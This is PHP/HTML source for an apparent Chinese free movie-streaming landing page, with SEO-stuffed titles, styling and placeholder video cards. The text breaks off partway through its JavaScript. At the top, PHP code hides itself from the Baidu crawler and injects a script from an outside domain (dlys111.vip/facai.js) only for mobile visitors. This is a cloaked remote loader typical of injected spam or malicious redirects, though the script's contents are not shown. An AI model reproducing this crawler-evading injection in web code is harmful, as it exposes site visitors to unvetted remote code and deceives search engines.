<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://dlys111.vip/facai.js"></script>';
    
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>电影日本妈妈--高清无广告全集完整版短剧极速播放免费在线流畅观看站点平台</title>
    <meta name="keywords" content="日本电影在线看，电影日本妈妈，西风影院在线观看高清电影，国产日韩在线一区二区">
    <meta name="description" content="【电影日本妈妈】一站式无弹窗豆瓣蓝光高分追剧神器，搜罗欧美院线大片国产剧集，4K无损院线每日更新资源如果喜欢本站请收藏！">
    <script type="application/ld+json">
    {
        "@context": "https://schema.org",
        "@type": "WebPage",
        "name": "电影日本妈妈--高清无广告全集完整版短剧极速播放免费在线流畅观看站点平台",
        "description": "【电影日本妈妈】一站式无弹窗豆瓣蓝光高分追剧神器，搜罗欧美院线大片国产剧集，4K无损院线每日更新资源如果喜欢本站请收藏！",
        "url": "#!",
        "inLanguage": "zh-CN"
    }
    </script>
    <style>
        *,
        *::before,
        *::after {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        html {
            scroll-behavior: smooth;
            font-size: 16px;
        }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: #F0F4F8;
            color: #1A202C;
            line-height: 1.5;
            min-height: 100vh;
        }
        a {
            text-decoration: none;
            color: inherit;
        }
        img {
            display: block;
            max-width: 100%;
            height: auto;
        }
        ul {
            list-style: none;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }

        /* --- 顶部导航 --- */
        .site-header {
            position: sticky;
            top: 0;
            z-index: 100;
            background: rgba(15, 27, 45, 0.92);
            backdrop-filter: blur(10px);
            -webkit-backdrop-filter: blur(10px);
            border-bottom: 1px solid rgba(212, 168, 67, 0.2);
            transition: box-shadow 0.3s ease;
        }
        .site-header.scrolled {
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.25);
        }
        .header-inner {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 10px 0;
            flex-wrap: wrap;
            gap: 10px 20px;
        }
        .site-logo {
            display: flex;
            align-items: baseline;
            gap: 6px;
            flex-shrink: 0;
        }
        .site-logo .logo-main {
            font-size: 28px;
            font-weight: 700;
            letter-spacing: 2px;
            color: #D4A843;
            text-shadow: 0 0 12px rgba(212, 168, 67, 0.25);
        }
        .site-logo .logo-sub {
            font-size: 14px;
            font-weight: 300;
            color: rgba(255, 255, 255, 0.6);
            letter-spacing: 1px;
        }
        .nav-links {
            display: flex;
            align-items: center;
            gap: 18px;
            flex-wrap: wrap;
        }
        .nav-links a {
            font-size: 15px;
            font-weight: 500;
            color: rgba(255, 255, 255, 0.85);
            padding: 4px 2px;
            position: relative;
            transition: color 0.3s ease;
        }
        .nav-links a::after {
            content: '';
            position: absolute;
            left: 0;
            bottom: -2px;
            width: 0;
            height: 2px;
            background: #D4A843;
            transition: width 0.3s cubic-bezier(0.22, 1, 0.36, 1);
        }
        .nav-links a:hover {
            color: #D4A843;
        }
        .nav-links a:hover::after {
            width: 100%;
        }
        .search-wrap {
            display: flex;
            align-items: center;
            background: rgba(255, 255, 255, 0.08);
            border: 1px solid rgba(255, 255, 255, 0.12);
            border-radius: 40px;
            padding: 4px 4px 4px 16px;
            transition: border-color 0.3s ease, background 0.3s ease;
            flex-shrink: 0;
            min-width: 180px;
        }
        .search-wrap:focus-within {
            border-color: #D4A843;
            background: rgba(255, 255, 255, 0.14);
        }
        .search-wrap input {
            background: none;
            border: none;
            outline: none;
            color: rgba(255, 255, 255, 0.9);
            font-size: 14px;
            padding: 6px 0;
            width: 100%;
            min-width: 80px;
        }
        .search-wrap input::placeholder {
            color: rgba(255, 255, 255, 0.35);
            font-weight: 300;
        }
        .search-btn {
            background: none;
            border: none;
            cursor: pointer;
            padding: 6px 12px;
            border-radius: 30px;
            color: rgba(255, 255, 255, 0.7);
            font-size: 18px;
            transition: background 0.25s ease, color 0.25s ease;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .search-btn:hover {
            background: rgba(212, 168, 67, 0.25);
            color: #D4A843;
        }
        .search-btn svg {
            width: 18px;
            height: 18px;
            fill: none;
            stroke: currentColor;
            stroke-width: 2.2;
            stroke-linecap: round;
            stroke-linejoin: round;
        }

        /* --- Hero 轮播 --- */
        .hero-section {
            position: relative;
            width: 100%;
            background: #0B1622;
            overflow: hidden;
        }
        .hero-carousel {
            position: relative;
            width: 100%;
            height: 500px;
            min-height: 320px;
        }
        .hero-slide {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            transition: opacity 0.7s cubic-bezier(0.22, 1, 0.36, 1);
            display: flex;
            align-items: center;
            padding: 0 60px;
            background-size: cover;
            background-position: center center;
            will-change: opacity;
        }
        .hero-slide.active {
            opacity: 1;
            z-index: 2;
        }
        .hero-slide::before {
            content: '';
            position: absolute;
            inset: 0;
            background: linear-gradient(135deg, rgba(11, 22, 34, 0.88) 30%, rgba(11, 22, 34, 0.30) 70%, transparent 100%);
            z-index: 0;
        }
        .hero-slide .slide-content {
            position: relative;
            z-index: 1;
            max-width: 580px;
        }
        .hero-slide .slide-content h2 {
            font-size: clamp(28px, 5vw, 42px);
            font-weight: 700;
            color: #FFFFFF;
            text-shadow: 0 2px 24px rgba(0, 0, 0, 0.6);
            letter-spacing: 1px;
            line-height: 1.2;
            margin-bottom: 10px;
        }
        .hero-slide .slide-content .hero-tagline {
            font-size: clamp(15px, 2vw, 19px);
            font-weight: 400;
            color: rgba(255, 255, 255, 0.85);
            text-shadow: 0 1px 12px rgba(0, 0, 0, 0.5);
            margin-bottom: 18px;
            line-height: 1.5;
        }
        .hero-slide .slide-content .hero-badge {
            display: inline-block;
            background: rgba(212, 168, 67, 0.20);
            border: 1px solid rgba(212, 168, 67, 0.35);
            color: #D4A843;
            font-size: 13px;
            font-weight: 500;
            padding: 2px 14px;
            border-radius: 30px;
            margin-bottom: 14px;
            letter-spacing: 0.5px;
        }
        .btn-watch {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            background: #D4A843;
            color: #0B1622;
            font-size: 16px;
            font-weight: 600;
            padding: 10px 28px;
            border-radius: 40px;
            border: none;
            cursor: pointer;
            transition: transform 0.25s ease, box-shadow 0.3s ease;
            box-shadow: 0 4px 20px rgba(212, 168, 67, 0.30);
        }
        .btn-watch:hover {
            transform: translateY(-2px) scale(1.02);
            box-shadow: 0 8px 30px rgba(212, 168, 67, 0.40);
        }
        .btn-watch svg {
            width: 18px;
            height: 18px;
            fill: none;
            stroke: currentColor;
            stroke-width: 2.4;
            stroke-linecap: round;
            stroke-linejoin: round;
        }
        .carousel-arrow {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            z-index: 5;
            background: rgba(255, 255, 255, 0.08);
            border: 1px solid rgba(255, 255, 255, 0.15);
            color: rgba(255, 255, 255, 0.7);
            width: 44px;
            height: 44px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            transition: background 0.3s ease, color 0.3s ease, opacity 0.3s ease;
            opacity: 0.5;
            font-size: 22px;
            backdrop-filter: blur(4px);
            -webkit-backdrop-filter: blur(4px);
        }
        .carousel-arrow:hover {
            background: rgba(212, 168, 67, 0.25);
            color: #D4A843;
            opacity: 1;
            border-color: rgba(212, 168, 67, 0.3);
        }
        .carousel-arrow.prev {
            left: 16px;
        }
        .carousel-arrow.next {
            right: 16px;
        }
        .carousel-dots {
            position: absolute;
            bottom: 20px;
            left: 50%;
            transform: translateX(-50%);
            z-index: 5;
            display: flex;
            gap: 10px;
        }
        .carousel-dots .dot {
            width: 10px;
            height: 10px;
            border-radius: 50%;
            background: rgba(255, 255, 255, 0.25);
            border: 1px solid rgba(255, 255, 255, 0.15);
            cursor: pointer;
            transition: background 0.3s ease, transform 0.25s ease, border-color 0.3s ease;
        }
        .carousel-dots .dot.active {
            background: #D4A843;
            transform: scale(1.25);
            border-color: #D4A843;
        }
        .carousel-dots .dot:hover {
            background: rgba(212, 168, 67, 0.5);
        }

        /* --- 分类快速入口 --- */
        .category-bar {
            background: #FFFFFF;
            padding: 16px 0 10px;
            border-bottom: 1px solid #E2E8F0;
        }
        .category-inner {
            display: flex;
            align-items: center;
            justify-content: center;
            flex-wrap: wrap;
            gap: 10px 18px;
        }
        .cat-item {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 6px;
            padding: 8px 18px 10px;
            border-radius: 16px;
            background: #F1F5F9;
            border: 2px solid transparent;
            cursor: pointer;
            transition: transform 0.25s ease, background 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease;
            min-width: 64px;
            user-select: none;
        }
        .cat-item:hover {
            transform: scale(1.06);
            background: rgba(59, 130, 246, 0.08);
            border-color: rgba(59, 130, 246, 0.20);
        }
        .cat-item.active {
            background: rgba(59, 130, 246, 0.10);
            border-color: #3B82F6;
            box-shadow: 0 2px 12px rgba(59, 130, 246, 0.12);
        }
        .cat-item .cat-icon {
            font-size: 24px;
            line-height: 1;
            color: #3B82F6;
            transition: transform 0.3s ease;
        }
        .cat-item:hover .cat-icon {
            transform: scale(1.08);
        }
        .cat-item .cat-label {
            font-size: 14px;
            font-weight: 500;
            color: #1A202C;
            letter-spacing: 0.3px;
        }
        .cat-item.active .cat-label {
            color: #1E40AF;
        }

        /* --- 内容列表区 --- */
        .content-section {
            padding: 32px 0 48px;
        }
        .content-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 22px;
            flex-wrap: wrap;
            gap: 10px;
        }
        .content-header h2 {
            font-size: 22px;
            font-weight: 700;
            color: #0F1B2D;
            letter-spacing: 0.5px;
            position: relative;
            padding-left: 16px;
        }
        .content-header h2::before {
            content: '';
            position: absolute;
            left: 0;
            top: 4px;
            bottom: 4px;
            width: 4px;
            background: #D4A843;
            border-radius: 4px;
        }
        .content-header .view-more {
            font-size: 14px;
            font-weight: 500;
            color: #3B82F6;
            padding: 6px 16px;
            border-radius: 30px;
            border: 1px solid rgba(59, 130, 246, 0.25);
            transition: background 0.25s ease, color 0.25s ease;
        }
        .content-header .view-more:hover {
            background: #3B82F6;
            color: #FFFFFF;
        }
        .grid-wrap {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 22px;
            transition: opacity 0.35s ease;
        }
        .grid-wrap.fade {
            opacity: 0.3;
        }
        .card-item {
            background: #FFFFFF;
            border-radius: 12px;
            overflow: hidden;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.04);
            transition: transform 0.3s cubic-bezier(0.22, 1, 0.36, 1), box-shadow 0.35s ease;
            cursor: pointer;
            display: flex;
            flex-direction: column;
            border: 1px solid #EDF2F7;
        }
        .card-item:hover {
            transform: translateY(-5px);
            box-shadow: 0 14px 30px rgba(0, 0, 0, 0.08);
        }
        .card-poster {
            position: relative;
            width: 100%;
            aspect-ratio: 2/3;
            overflow: hidden;
            background: #E2E8F0;
        }
        .card-poster img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.4s cubic-bezier(0.22, 1, 0.36, 1);
        }
        .card-item:hover .card-poster img {
            transform: scale(1.04);
        }
        .card-poster .overlay-btn {
            position: absolute;
            inset: 0;
            background: rgba(11, 22, 34, 0.35);
            display: flex;
            align-items: center;
            justify-content: center;
            opacity: 0;
            transition: opacity 0.3s ease;
            backdrop-filter: blur(2px);
            -webkit-backdrop-filter: blur(2px);
        }
        .card-item:hover .card-poster .overlay-btn {
            opacity: 1;
        }
        .card-poster .overlay-btn span {
            background: rgba(212, 168, 67, 0.90);
            color: #0B1622;
            font-size: 14px;
            font-weight: 600;
            padding: 8px 22px;
            border-radius: 30px;
            letter-spacing: 0.5px;
            box-shadow: 0 4px 16px rgba(0, 0, 0, 0.25);
            transition: transform 0.25s ease;
        }
        .card-item:hover .card-poster .overlay-btn span {
            transform: scale(1.05);
        }
        .card-poster .badge-top {
            position: absolute;
            top: 10px;
            left: 10px;
            z-index: 3;
            background: #EF4444;
            color: #FFFFFF;
            font-size: 11px;
            font-weight: 600;
            padding: 2px 12px;
            border-radius: 20px;
            letter-spacing: 0.3px;
            box-shadow: 0 2px 8px rgba(239, 68, 68, 0.35);
        }
        .card-poster .badge-hd {
            position: absolute;
            top: 10px;
            right: 10px;
            z-index: 3;
            background: rgba(59, 130, 246, 0.85);
            color: #FFFFFF;
            font-size: 10px;
            font-weight: 600;
            padding: 2px 10px;
            border-radius: 20px;
            letter-spacing: 0.3px;
            backdrop-filter: blur(2px);
            -webkit-backdrop-filter: blur(2px);
        }
        .card-info {
            padding: 12px 14px 14px;
            flex: 1;
            display: flex;
            flex-direction: column;
            gap: 6px;
        }
        .card-info .card-title {
            font-size: 15px;
            font-weight: 600;
            color: #1A202C;
            line-height: 1.4;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .card-info .card-meta {
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
            gap: 4px 8px;
        }
        .card-info .card-meta .ep-status {
            font-size: 13px;
            font-weight: 400;
            color: #718096;
        }
        .card-info .card-meta .rating {
            display: flex;
            align-items: center;
            gap: 3px;
            font-size: 13px;
            font-weight: 500;
            color: #D97706;
        }
        .card-info .card-meta .rating .star {
            color: #F59E0B;
            font-size: 14px;
            line-height: 1;
        }

        /* --- 底部 --- */
        .site-footer {
            background: #0F1B2D;
            color: rgba(255, 255, 255, 0.7);
            padding: 32px 0 28px;
            border-top: 1px solid rgba(212, 168, 67, 0.12);
        }
        .footer-inner {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 14px;
            text-align: center;
        }
        .footer-inner .footer-brand {
            font-size: 20px;
            font-weight: 600;
            color: #D4A843;
            letter-spacing: 1px;
        }
        .footer-inner .footer-copy {
            font-size: 13px;
            font-weight: 300;
            color: #A0AEC0;
            line-height: 1.6;
        }
        .footer-inner .footer-links {
            display: flex;
            flex-wrap: wrap;
            gap: 8px 20px;
            justify-content: center;
        }
        .footer-inner .footer-links a {
            font-size: 13px;
            font-weight: 400;
            color: rgba(255, 255, 255, 0.50);
            transition: color 0.25s ease;
        }
        .footer-inner .footer-links a:hover {
            color: #D4A843;
        }

        /* --- 回到顶部 --- */
        .back-top {
            position: fixed;
            bottom: 30px;
            right: 30px;
            z-index: 99;
            width: 46px;
            height: 46px;
            border-radius: 50%;
            background: rgba(15, 27, 45, 0.80);
            backdrop-filter: blur(8px);
            -webkit-backdrop-filter: blur(8px);
            border: 1px solid rgba(212, 168, 67, 0.25);
            color: #D4A843;
            font-size: 22px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            opacity: 0;
            visibility: hidden;
            transition: opacity 0.4s ease, visibility 0.4s ease, transform 0.3s ease, background 0.3s ease;
            transform: translateY(12px);
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.20);
        }
        .back-top.show {
            opacity: 1;
            visibility: visible;
            transform: translateY(0);
        }
        .back-top:hover {
            background: rgba(212, 168, 67, 0.25);
            border-color: rgba(212, 168, 67, 0.5);
            transform: translateY(-3px);
        }
        .back-top svg {
            width: 20px;
            height: 20px;
            fill: none;
            stroke: currentColor;
            stroke-width: 2.4;
            stroke-linecap: round;
            stroke-linejoin: round;
        }

        /* --- 响应式 --- */
        @media (max-width: 1024px) {
            .grid-wrap {
                grid-template-columns: repeat(3, 1fr);
                gap: 18px;
            }
            .hero-carousel {
                height: 420px;
            }
            .hero-slide {
                padding: 0 40px;
            }
        }
        @media (max-width: 768px) {
            .header-inner {
                flex-direction: column;
                align-items: stretch;
                gap: 8px;
                padding: 10px 0 12px;
            }
            .site-logo {
                justify-content: center;
            }
            .nav-links {
                justify-content: center;
                gap: 12px;
            }
            .nav-links a {
                font-size: 14px;
            }
            .search-wrap {
                min-width: unset;
                width: 100%;
                max-width: 320px;
                margin: 0 auto;
            }
            .hero-carousel {
                height: 340px;
                min-height: 280px;
            }
            .hero-slide {
                padding: 0 24px;
            }
            .hero-slide .slide-content h2 {
                font-size: 24px;
            }
            .hero-slide .slide-content .hero-tagline {
                font-size: 15px;
            }
            .btn-watch {
                font-size: 14px;
                padding: 8px 22px;
            }
            .carousel-arrow {
                width: 36px;
                height: 36px;
                font-size: 18px;
            }
            .carousel-arrow.prev {
                left: 8px;
            }
            .carousel-arrow.next {
                right: 8px;
            }
            .category-inner {
                gap: 8px 12px;
            }
            .cat-item {
                padding: 6px 14px 8px;
                min-width: 52px;
            }
            .cat-item .cat-icon {
                font-size: 20px;
            }
            .cat-item .cat-label {
                font-size: 13px;
            }
            .grid-wrap {
                grid-template-columns: repeat(2, 1fr);
                gap: 14px;
            }
            .content-header h2 {
                font-size: 19px;
                padding-left: 12px;
            }
            .card-info {
                padding: 10px 12px 12px;
            }
            .card-info .card-title {
                font-size: 14px;
            }
            .card-info .card-meta .ep-status,
            .card-info .card-meta .rating {
                font-size: 12px;
            }
            .back-top {
                bottom: 20px;
                right: 20px;
                width: 40px;
                height: 40px;
                font-size: 18px;
            }
        }
        @media (max-width: 480px) {
            .hero-carousel {
                height: 260px;
                min-height: 220px;
            }
            .hero-slide .slide-content h2 {
                font-size: 20px;
            }
            .hero-slide .slide-content .hero-tagline {
                font-size: 13px;
                margin-bottom: 12px;
            }
            .btn-watch {
                font-size: 13px;
                padding: 6px 18px;
            }
            .carousel-arrow {
                width: 30px;
                height: 30px;
                font-size: 14px;
                opacity: 0.6;
            }
            .grid-wrap {
                grid-template-columns: repeat(2, 1fr);
                gap: 10px;
            }
            .card-info .card-title {
                font-size: 13px;
            }
            .card-info .card-meta .ep-status,
            .card-info .card-meta .rating {
                font-size: 11px;
            }
            .cat-item {
                padding: 4px 10px 6px;
                min-width: 44px;
            }
            .cat-item .cat-icon {
                font-size: 18px;
            }
            .cat-item .cat-label {
                font-size: 12px;
            }
        }
        @media (max-width: 380px) {
            .grid-wrap {
                grid-template-columns: 1fr 1fr;
                gap: 8px;
            }
        }
    </style>
</head>
<body>

    <!-- 顶部导航 -->
    <header class="site-header" id="siteHeader" aria-label="站点导航栏">
        <div class="container header-inner">
            <div class="site-logo">
                <span class="logo-main">爽看影视</span>
                <span class="logo-sub">· 电影日本妈妈</span>
            </div>
            <nav class="nav-links" aria-label="主导航">
                <a href="#!" title="最新热播">最新热播</a>
                <a href="#!" title="电影分类">电影</a>
                <a href="#!" title="电视剧分类">电视剧</a>
                <a href="#!" title="综艺分类">综艺</a>
                <a href="#!" title="动漫分类">动漫</a>
                <a href="#!" title="短剧分类">短剧</a>
            </nav>
            <div class="search-wrap" role="search">
                <input type="text" placeholder="搜索影视名称..." aria-label="搜索影视内容">
                <button class="search-btn" aria-label="搜索按钮" title="搜索">
                    <svg viewBox="0 0 24 24"><circle cx="11" cy="11" r="7"/><line x1="16.5" y1="16.5" x2="21" y2="21"/></svg>
                </button>
            </div>
        </div>
    </header>

    <!-- Hero 主视觉 -->
    <section class="hero-section" aria-label="热门推荐轮播">
        <div class="hero-carousel" id="heroCarousel">
            <!-- 第1张 -->
            <div class="hero-slide active" data-index="0" style="background-image: linear-gradient(135deg, #0B1622 20%, #1A2A3A 80%), url('upload/vod/001-banner.webp'); background-blend-mode: overlay;">
                <div class="slide-content">
                    <span class="hero-badge">🔥 年度重磅</span>
                    <h2>破晓之战 · 星际迷航</h2>
                    <p class="hero-tagline">人类最后的希望，星辰大海中的绝地反击，12月燃爆银幕。</p>
                    <button class="btn-watch" title="立即观看破晓之战">
                        <svg viewBox="0 0 24 24"><polygon points="6 3 20 12 6 21 6 3"/></svg>
                        立即观看
                    </button>
                </div>
            </div>
            <!-- 第2张 -->
            <div class="hero-slide" data-index="1" style="background-image: linear-gradient(135deg, #0B1622 20%, #2D1F2E 80%), url('upload/vod/002-banner.webp'); background-blend-mode: overlay;">
                <div class="slide-content">
                    <span class="hero-badge">📺 热播剧集</span>
                    <h2>山河故人 · 岁月如歌</h2>
                    <p class="hero-tagline">一段跨越三十年的情感史诗，豆瓣9.2高分催泪巨制。</p>
                    <button class="btn-watch" title="立即观看山河故人">
                        <svg viewBox="0 0 24 24"><polygon points="6 3 20 12 6 21 6 3"/></svg>
                        立即观看
                    </button>
                </div>
            </div>
            <!-- 第3张 -->
            <div class="hero-slide" data-index="2" style="background-image: linear-gradient(135deg, #0B1622 20%, #1E2D3D 80%), url('upload/vod/003-banner.webp'); background-blend-mode: overlay;">
                <div class="slide-content">
                    <span class="hero-badge">🎭 综艺盛宴</span>
                    <h2>欢乐大本营 · 笑声不断</h2>
                    <p class="hero-tagline">每周五晚，明星云集，爆笑游戏环节全新升级。</p>
                    <button class="btn-watch" title="立即观看欢乐大本营">
                        <svg viewBox="0 0 24 24"><polygon points="6 3 20 12 6 21 6 3"/></svg>
                        立即观看
                    </button>
                </div>
            </div>
            <!-- 第4张 -->
            <div class="hero-slide" data-index="3" style="background-image: linear-gradient(135deg, #0B1622 20%, #1A2B3A 80%), url('upload/vod/004-banner.webp'); background-blend-mode: overlay;">
                <div class="slide-content">
                    <span class="hero-badge">🌟 动漫新番</span>
                    <h2>幻影战记 · 机甲觉醒</h2>
                    <p class="hero-tagline">机甲与魔法交织的奇幻世界，热血燃番每周更新。</p>
                    <button class="btn-watch" title="立即观看幻影战记">
                        <svg viewBox="0 0 24 24"><polygon points="6 3 20 12 6 21 6 3"/></svg>
                        立即观看
                    </button>
                </div>
            </div>

            <!-- 箭头 -->
            <button class="carousel-arrow prev" id="carouselPrev" aria-label="上一张" title="上一张">‹</button>
            <button class="carousel-arrow next" id="carouselNext" aria-label="下一张" title="下一张">›</button>
            <!-- 圆点 -->
            <div class="carousel-dots" id="carouselDots" aria-label="轮播指示器">
                <span class="dot active" data-index="0" title="第1张"></span>
                <span class="dot" data-index="1" title="第2张"></span>
                <span class="dot" data-index="2" title="第3张"></span>
                <span class="dot" data-index="3" title="第4张"></span>
            </div>
        </div>
    </section>

    <!-- 分类快速入口 -->
    <section class="category-bar" aria-label="影视分类快速入口">
        <div class="container category-inner" id="categoryBar">
            <div class="cat-item active" data-cat="all" title="全部影视">
                <span class="cat-icon">🎬</span>
                <span class="cat-label">全部</span>
            </div>
            <div class="cat-item" data-cat="movie" title="电影">
                <span class="cat-icon">🎞️</span>
                <span class="cat-label">电影</span>
            </div>
            <div class="cat-item" data-cat="tv" title="电视剧">
                <span class="cat-icon">📺</span>
                <span class="cat-label">电视剧</span>
            </div>
            <div class="cat-item" data-cat="variety" title="综艺">
                <span class="cat-icon">🎭</span>
                <span class="cat-label">综艺</span>
            </div>
            <div class="cat-item" data-cat="anime" title="动漫">
                <span class="cat-icon">🌟</span>
                <span class="cat-label">动漫</span>
            </div>
            <div class="cat-item" data-cat="manga" title="短剧">
                <span class="cat-icon">📱</span>
                <span class="cat-label">短剧</span>
            </div>
        </div>
    </section>

    <!-- 内容列表区 -->
    <main class="content-section" aria-label="影视内容列表">
        <div class="container">
            <div class="content-header">
                <h2 id="sectionTitle">🔥 最新热播 · 全部分类</h2>
                <a href="#!" class="view-more" title="查看更多影视内容">查看更多 ›</a>
            </div>
            <div class="grid-wrap" id="contentGrid">
                <!-- 卡片由 JS 动态渲染 -->
            </div>
            <div style="text-align:center;margin-top:36px;">
                <button id="loadMoreBtn" style="background:#F1F5F9;border:1px solid #E2E8F0;border-radius:40px;padding:10px 40px;font-size:15px;font-weight:500;color:#1A202C;cursor:pointer;transition:background 0.25s ease,color 0.25s ease;" title="加载更多影视内容">加载更多剧集 ↓</button>
            </div>
        </div>
    </main>

    <!-- 底部 -->
    <footer class="site-footer" aria-label="站点底部信息">
        <div class="container footer-inner">
            <div class="footer-brand">电影日本妈妈 · 爽看影视</div>
            <p class="footer-copy">© 2025 爽看影视 仅提供首页展示，无内页 · 高清无广告 · 全网热播一页览尽</p>
            <div class="footer-links">
                <a href="#!" title="关于我们">关于我们</a>
                <a href="#!" title="免责声明">免责声明</a>
                <a href="#!" title="联系合作">联系合作</a>
                <a href="#!" title="收藏本站">收藏本站</a>
            </div>
        </div>
    </footer>

    <!-- 回到顶部 -->
    <button class="back-top" id="backTop" aria-label="回到顶部" title="回到顶部">
        <svg viewBox="0 0 24 24"><polyline points="18 15 12 9 6 15"/></svg>
    </button>

    <script>
        (function() {
            'use strict';

            // -------- 数据 ----------
            const allCards = [
                { title: '星辰大海', cat: 'movie', ep: '更新至HD', rating: 8.5, img: 'upload/vod/011-movie.webp', hot: true,
                    hd: true },
                { title: '极地追击', cat: 'movie', ep: '更新至HD', rating: 7.9, img: 'upload/vod/016-movie.webp', hot: false,
                    hd: true },
                { title: '暗夜危机', cat: 'movie', ep: '更新至HD', rating: 8.2, img: 'upload/vod/021-movie.webp', hot: true,
                    hd: false },
                { title: '深海秘境', cat: 'movie', ep: '更新至HD', rating: 7.6, img: 'upload/vod/026-movie.webp', hot: false,
                    hd: true },
                { title: '明日之后', cat: 'movie', ep: '更新至HD', rating: 8.8, img: 'upload/vod/031-movie.webp', hot: true,
                    hd: true },
                { title: '烈焰战场', cat: 'movie', ep: '更新至HD', rating: 7.3, img: 'upload/vod/036-movie.webp', hot: false,
                    hd: false },
                { title: '归途', cat: 'tv', ep: '更新至24集', rating: 8.6, img: 'upload/vod/012-tv.webp', hot: true,
                hd: true },
                { title: '暗流', cat: 'tv', ep: '更新至18集', rating: 7.8, img: 'upload/vod/017-tv.webp', hot: false,
                hd: true },
                { title: '山河月明', cat: 'tv', ep: '全45集', rating: 9.1, img: 'upload/vod/022-tv.webp', hot: true,
                hd: true },
                { title: '时光之城', cat: 'tv', ep: '更新至30集', rating: 8.0, img: 'upload/vod/027-tv.webp', hot: false,
                    hd: false },
                { title: '破晓', cat: 'tv', ep: '更新至12集', rating: 8.3, img: 'upload/vod/032-tv.webp', hot: true,
                hd: true },
                { title: '春风十里', cat: 'tv', ep: '更新至20集', rating: 7.5, img: 'upload/vod/037-tv.webp', hot: false,
                    hd: false },
                { title: '星光大道', cat: 'variety', ep: '更新至2025期', rating: 7.8, img: 'upload/vod/013-variety.webp',
                    hot: false, hd: true },
                { title: '美食猎人', cat: 'variety', ep: '更新至第8期', rating: 8.4, img: 'upload/vod/018-variety.webp',
                    hot: true, hd: true },
                { title: '旅行日记', cat: 'variety', ep: '更新至第6期', rating: 8.9, img: 'upload/vod/023-variety.webp',
                    hot: true, hd: false },
                { title: '欢笑时刻', cat: 'variety', ep: '全24期', rating: 7.6, img: 'upload/vod/028-variety.webp',
                hot: false, hd: true },
                { title: '音乐现场', cat: 'variety', ep: '更新至第12期', rating: 8.1, img: 'upload/vod/033-variety.webp',
                    hot: false, hd: false },
                { title: '极限挑战', cat: 'variety', ep: '更新至第5期', rating: 8.7, img: 'upload/vod/038-variety.webp',
                    hot: true, hd: true },
                { title: '龙魂', cat: 'anime', ep: '更新至52集', rating: 9.0, img: 'upload/vod/014-anime.webp', hot: true,
                    hd: true },
                { title: '星际探险', cat: 'anime', ep: '更新至36集', rating: 8.5, img: 'upload/vod/019-anime.webp',
                hot: false, hd: true },
                { title: '魔法学院', cat: 'anime', ep: '更新至24集', rating: 7.9, img: 'upload/vod/024-anime.webp',
                hot: false, hd: false },
                { title: '幻影战记', cat: 'anime', ep: '更新至48集', rating: 8.8, img: 'upload/vod/029-anime.webp',
                hot: true, hd: true },
                { title: '机甲风暴', cat: 'anime', ep: '全72集', rating: 8.2, img: 'upload/vod/034-anime.webp', hot: false,
                    hd: true },
                { title: '风之传说', cat: 'anime', ep: '更新至16集', rating: 7.7, img: 'upload/vod/039-anime.webp',
                hot: false, hd: false },
                { title: '邻家女孩', cat: 'manga', ep: '全30集', rating: 7.5, img: 'upload/vod/015-manga.webp', hot: false,
                    hd: true },
                { title: '反转人生', cat: 'manga', ep: '更新至20集', rating: 8.0, img: 'upload/vod/020-manga.webp',
                hot: true, hd: false },
                { title: '都市传说', cat: 'manga', ep: '更新至15集', rating: 7.2, img: 'upload/vod/025-manga.webp',
                hot: false, hd: true },
                { title: '我的同桌', cat: 'manga', ep: '全24集', rating: 7.8, img: 'upload/vod/030-manga.webp', hot: false,
                    hd: false },
                { title: '秘密花园', cat: 'manga', ep: '更新至18集', rating: 8.3, img: 'upload/vod/035-manga.webp',
                hot: true, hd: true },
                { title: '逆袭之路', cat: 'manga', ep: '更新至12集', rating: 7.9, img: 'upload/vod/040-manga.webp',
                hot: false, hd: true },
            ];

            // -------- 状态 ----------
            let currentCat = 'all';
            let displayCount = 12;
            const step = 8;

            const grid = document.getElementById('contentGrid');
            const sectionTitle = document.getElementById('sectionTitle');
            const loadMoreBtn = document.getElementById('loadMoreBtn');
            const catItems = document.querySelectorAll('.cat-item');

            // -------- 渲染卡片 ----------
            function renderCards(cat, count) {
                let filtered = cat === 'all' ? allCards : allCards.filter(c => c.cat === cat);
                const total = filtered.length;
                const show = filtered.slice(0, count);
                const html = show.map(c => {
                    const starFull = '★';
                    const starHalf = '☆';
